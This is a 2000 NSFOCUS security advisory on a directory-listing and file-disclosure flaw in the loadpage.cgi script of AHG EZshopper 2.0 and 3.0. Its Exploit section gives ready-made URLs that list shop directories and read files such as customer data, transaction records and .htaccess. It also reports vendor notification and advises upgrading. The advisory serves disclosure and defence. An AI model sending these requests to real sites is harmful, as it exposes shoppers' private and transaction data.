NSFOCUS Security Advisory(SA2000-09)

Topic:  AHG EZshopper Loadpage.cgi File List Disclosure Vulnerability

Release Date£º Dec 13rd, 2000

CVE Candidate Numbers: CAN-2000-1092

Affected system:
================

  Alex Heiphetz Group EZshopper v.3.0 for Unix
  Alex Heiphetz Group EZshopper v.2.0 for Unix
  
Impact: 
=======

NSFOCUS security team has found a security flaw in loadpage.cgi of
EZshopper of AHG. Exploitation of it can allow attacker to get
file list of EZshopper directories and  sensitive file contents.

Description£º
============

EZshopper is a popular e-shop product by AHG, Inc.(www.ahg.com). It
has some Perl scripts, including a CGI program that is called 
loadpage.cgi and used to open and show the HTML files under EZshopper
directory.

Usually this program is called in these ways:

EZshopper v3.0£º
http://site/cgi-bin/ezshopper3/loadpage.cgi?user_id=<id>&file=<filename>
EZshopper v2.0£º
http://site/cgi-bin/ezshopper2/loadpage.cgi?<id>+<filename>

But loadpage.cgi does not check the "<filename>" data inputted by user 
to make sure it is an real file name. Provided with a directory name
as a "<filename>", loadpage.cgi will list the content of current EZshopper 
directory. According to the returned information, attacker can open 
subdirectory or view some sensitive file contents like user's data
files, transaction info file and .htaccess etc.

Note: Exploit of this vulnerability won't be used to view the
directories outside of EZshopper, for new versions of EZshopper
will check if a filename contains "../".

Exploit:
==========

Submit the following URL, you can see the file list of Ezshopper root
directory. (In case that the page is blank, check the page source code 
in the browser.)

EZshopper v3.0£º
http://site/cgi-bin/ezshopper3/loadpage.cgi?user_id=id&file=/

EZshopper v2.0£º
http://site/cgi-bin/ezshopper2/loadpage.cgi?id+/

To view file list of EZshopper subdirectory, submit the following URL:

EZshopper v3.0£º
http://site/cgi-bin/ezshopper3/loadpage.cgi?user_id=id&file=/subdirectory/

EZshopper v2.0£º
http://site/cgi-bin/ezshopper2/loadpage.cgi?id+/subdirectory/

Once get the list, attacker can use some URL like the following to
view the content of arbitrary files:

http://site/cgi-bin/ezshopper3/loadpage.cgi?user_id=<id>&file=/<directory>/<filename>
http://site/cgi-bin/ezshopper2/loadpage.cgi?<id>+/<directory>/<filename>

Vendor Status:
==============

Vendor has been informed on Dec. 4th, 2000. 
We suggest users using vulnerable versions to upgrade to the latest
version ASAP. 

Vendor's homepage:
http://www.ahg.com/


Additional Information:
========================

The Common Vulnerabilities and Exposures (CVE) project has 
assigned the name CAN-2000-1092 to this issue. This is a 
candidate for inclusion in the CVE list (http://cve.mitre.org),
which standardizes names for security problems.  Candidates 
may change significantly before they become official CVE entries.

DISCLAIMS:
==========
THE INFORMATION PROVIDED IS RELEASED BY NSFOCUS "AS IS" WITHOUT WARRANTY OF ANY
KIND. NSFOCUS DISCLAIMS ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, EXCEPT FOR 
THE WARRANTIES OF MERCHANTABILITY. IN NO EVENTSHALL NSFOCUS BE LIABLE FOR ANY 
DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,CONSEQUENTIAL, LOSS OF 
BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF NSFOCUS HAS BEEN ADVISED OF THE 
POSSIBILITY OF SUCH DAMAGES. DISTRIBUTION OR REPRODUTION OF THE INFORMATION IS 
PROVIDED THAT THE ADVISORY IS NOT MODIFIED IN ANY WAY.

?Copyright 1999-2000 NSFOCUS. All Rights Reserved. Terms of use.


NSFOCUS Security Team <security@nsfocus.com>
NSFOCUS INFORMATION TECHNOLOGY CO.,LTD
(http://www.nsfocus.com)